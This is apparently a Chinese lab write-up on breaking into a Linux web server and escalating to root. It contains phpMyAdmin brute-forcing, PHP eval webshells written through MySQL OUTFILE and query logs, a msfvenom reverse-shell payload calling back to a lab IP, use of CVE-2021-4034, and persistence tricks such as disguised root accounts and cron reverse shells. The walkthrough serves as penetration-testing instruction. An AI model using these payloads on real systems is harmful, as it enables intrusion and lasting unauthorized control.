初涉内网,提权那些事

初涉内网,提权那些事

口水话


        
前段时间打了两个靶场 由于内网接触的不多 这里在结束之后恶补了一下相关方面的知识,对于初涉内网的小白来说,可以作为一个较好的参考。由于本文主要介绍提权方面,所以代码审计部分就略过,希望大家看了会有所收获  

    

靶场环境


        
搭建用的系统:ubuntu 16.04    内核4.15.0  
web环境   php+mysql+thinkphp  

    

流程

首先开启靶场 在攻击机正常访问靶场地址


        
这里提一下  因为一般这种老版本的thinkphp都是二开的  所以那些Nday很少能够成功复现  
而且这就是一个html静态页面  所以看完后面的小伙伴不要奇怪为什么不对thinkphp做Nday测试  
但是这里有彩蛋  

    

picture.image

webshell上传过程

先来一波信息收集

        
实际情况肯定是要对该站点的子域名 cms 其他ip等等做收集  
由于这里是靶场操作  这里就简单进行一个目录扫描  

    

picture.image


        
通过目录扫描可以得出  存在phpmyadmin管理界面的登录界面  这种后台嘛  直接bp爆破  

    
BP爆破后台登录口令

        
没啥说的啦  开BP代理直接跑  

    

picture.image


        
成功进入phpmyadmin管理页面   
  
ps:这里提一下 当成功进入管理页面 需要去做什么呢?  
  
查看secure_file_priv是否为NULL 或者为指定路径  
(当为NULL的时候 说明没有读写的权限 也就是你可能没法通过into outfile的方式来写入webshell文件 )  
查看mysql的版本  路径等  

    
查看mysql的相关信息

picture.image

secure_file_priv信息

picture.image


        
之前提到的  当secure_file_priv为NULL或者指定路径是 是对其他目录没有读写权限的   
那么这里为空  也就是说 可以对任意目录写入文件(前提是这个目录的所用者对其他目录有读写权限)  

    
mysql写webshell拓展

        
几个必要的前提条件  
			1.secure_file_priv不为NULL或者指定路径  
			2.phpmyadmin所在目录的拥有者对其他目录有读写权限  
			3.全局gpc关闭  (mysql-5.3.29以上默认关闭)  
			4.root权限(这里指的是登录数据库的用户)  
			5.知道具体路径(通过信息收集获取,上文有提到静态页面存在菜单 这里可以回去看看)  
			  
into outfile()方式:  
				查询执行语句SELECT '<?php @eval($_POST[cmd]);?>' into OUTFILE '/home/wwwroot/default/ruchong.php'   
		该语句的作用就是写入一句话到网站根目录下  详情自己百度  
		  
  
日志方式  
		日志方式的写入有两种  全局日志以及慢日志 不过具体用法差不多  
		实现的原理是 当你开启日志记录是 你所查询的语句都会全部被记录在指定的一个文件中  
		那假如你指定的是一个php文件并且你查询的语句为一句话木马呢?  
		  
		全局日志:  
				首先查询是否开启了全局日志记录  
				show variables like '%general%';   查看是否开启  
  
				set global general_log = on;     #未开启就手动开启general log 模式  
  
				set global general_log_file = 'web可访问目录' #设置日志目录为shell地址  
  
				SELECT '<?php @eval($_POST[cmd]);?>'   #执行查询 即写入到日志文件   
				  
		慢日志:  
				#查询慢日志状态  
				show variables like '%slow_query_log%';   
  
				#查询mysql系统时间   
				show global variables like '%long_query_time%';  
  
				#根据时间  设置超时  
  
				select '<?php @eval($_POST[1]);?>' or sleep(11);   设置查询时间为11s  

    
mysql写入webshell

        
这里通过into outfile的方式写入  日志记录也可以  

    

picture.image


        
切换到靶机查看是否生成了该文件  

    

picture.image


        
小技巧ps:  
		最好是先生成一个php探针页面 为什么呢?  
		因为探针页面可以详细的看到当前的web环境的一些相关配置  
		(禁用函数情况、是否开启php日志、session和php日志目录等等)  

    

picture.image

连接webshell

        
这里先进行一些相关的拓展  
  
在不存在函数禁用的情况下:一般使用菜刀等就可以了 后续上传大马等等  
存在函数禁用的情况:优先考虑使用蚁剑 (可以使用disable_function绕过脚本)  

    

picture.image


        
打开虚拟终端  测试命令  

    

picture.image


        
这里为什么会无法查询呢?  
  
因为这是一个虚拟终端  本质是通过命令执行来调用主机的终端来执行命令 从而回显数据  
但是由于相关函数被禁用 所以很多命令都无法执行 也就是说 这个虚拟终端等于废掉  
那么 这个时候蚁剑的插件就派上用场了  可以通过绕过来执行少数的一些命令 从而给我们提供更多的操作空间  
扩大我们的攻击范围  ps:蚁剑的插件需要挂ti子来下载 有兴趣的自己百度  

    

picture.image

连接webshell后需要做什么

        
那肯定是上传webshell 通过反弹来拓展攻击面呀!!  
但是前面提到了 插件绕过也只是能够使用少数命令 本质还是虚拟终端 所以很多都无法调用   
这个时候 就需要反弹一个shell来进行更多的操作 所以 懂得都懂叭  

    

提权过程

内核提权

msfconsole登场

        
说到反弹shell 那肯定是msf啦  可以联动cs/bp等   
  
ps:这里是同一网段的靶场环境 所以不需要vps来做中转(真实环境是需要用到vps的  后面有空了再写横向穿越,端口转发以及隧道等内容)  

    
生成牧马(保命)

        
由于是linux系统 这里就生成相应的牧马啦  
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=6666 to  -f elf > ruchong.elf  
  
方便理解我这里直接写了接收反弹的ip以及端口  

    

picture.image


        
小技巧  
不同虚拟机传文件需要从当前虚拟机复制到物理机再复制到执行虚拟机  
是不是很麻烦?  
使用python开启一个临时共享当前目录 就可以直接下载啦  
命令:  python3 -m http.server  

    

picture.image

picture.image

执行牧马反弹shell啦

        
运行之前 msf开启对应payload  ip以及端口的监听  
payload  ip  端口  都要与生成的木马使用的一致  
最后的命令run或者exploit开启监听啦  

    

picture.image


        
蚁剑上传该牧马  
chmod +777 牧马     #给权限运行啦  
./牧马          #运行牧马  

    

picture.image


        
msf成功收到反弹  

    

picture.image

内核提权准备工作

        
既然是内核提权  当然要知道内核信息啦  
使用命令uname -a查看当前的系统版本以及内核信息  

    

picture.image

内核脚本的选择

        
知道了内核版本后  有多种选择内核的方式  这里简单的列举几个  

    
利用某网站来收集可使用的内核提权脚本

        
https://www.exploit-db.com/  

    

picture.image

利用kali自带搜索相应内核提权脚本

        
搜索命令   searchsploit  版本号/内核号  
下载脚本   searchsploit -m  fath  

    

picture.image

利用相关插件收集提权脚本

        
该脚本自行上github搜索  
  
./linux-exploit-suggester.sh -k 4.15.0   
执行脚本   -k 指定的内核版本  

    

picture.image

msf本地提权

        
run post/multi/recon/local_exploit_suggester  
  
这个是自动检测可能成功的内核提权脚本并且逐个尝试  
由于需要大概半个小时 所以就没有操作  有兴趣的可以自行尝试  

    
内核提权!!!

        
前面说了那么多  终于到关键的一步了  
  
先说说为什么提权要提权:  
	1.某些命令需要高权限用户才可执行  
	2.低权限用户对于大多数敏感目录没有读取权限  
	3.无法dump密码  不存在密码喷洒  
  
这里利用cve-2021-4034来进行提权 github可以搜索下载  
使用蚁剑上传  下面po一下改提权脚本 如何使用  

    

picture.image


        
在msf执行红框命令  

    

picture.image


        
可以看到 成功提权到root权限   
root权限能干嘛 不用多说了吧  
下面简单说一下权限维持的几个方式  

    
权限维持

        
1.创建一个用户 并且权限为root  用户名可以伪造成系统用户名 比如说mysqld等等  
	2.开启ssh登录 并且生成root的ssh认证密钥对  将其保存本地 后渗透直接使用ssh登录  
	3.添加计划任务  即周期性的使用root身份反弹shell  
	4.使用不死马或者内存马  
	5.设置启动项  

    
其他提权方式

        
后面有时间我会单独写提权方式、不同平台提权、内网横向移动所使用的端口转发、sock隧道建立的文章  
	这里大概提一下linux系统提权的其他方式  
	  
	1.suid提权    #使用find查找root用户的suid文件  通过运行该类文件获取root权限  
	2.sudo提权    #个人觉得有点鸡肋 毕竟一般来说 webshell登录的用户权限是无法操作sudoers文件  
	3.计划任务提权  #查看计划任务中有root权限的脚本  通过运行该脚本获取root权限  
	4.mysql提权   #本次靶场是可以使用mysql提权的  百度cve-2016-6663了解  

    

总结


        
对于内核提权就写到这啦  整体看下来应该都会有一个比较清楚的认知吧 不懂的话多看几遍 相对来说是写的比较详细的了。  
  
关于内网还有很多需要学习的知识 像提权后的权限维持、横向移动、后渗透、痕迹清理、不同平台的不同方式提权、以及进阶的域渗透。后期有空了会更新有关内容的文章。学海无涯,希望大家每天都能学到新知识提升自己,学到的东西可不要做非法的事哈!!!!  
  
 个人博客链接: https://webgotd.com  

    

本文作者:xixibdgrn, 转载请注明来自FreeBuf.COM

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
评论
未登录
暂无评论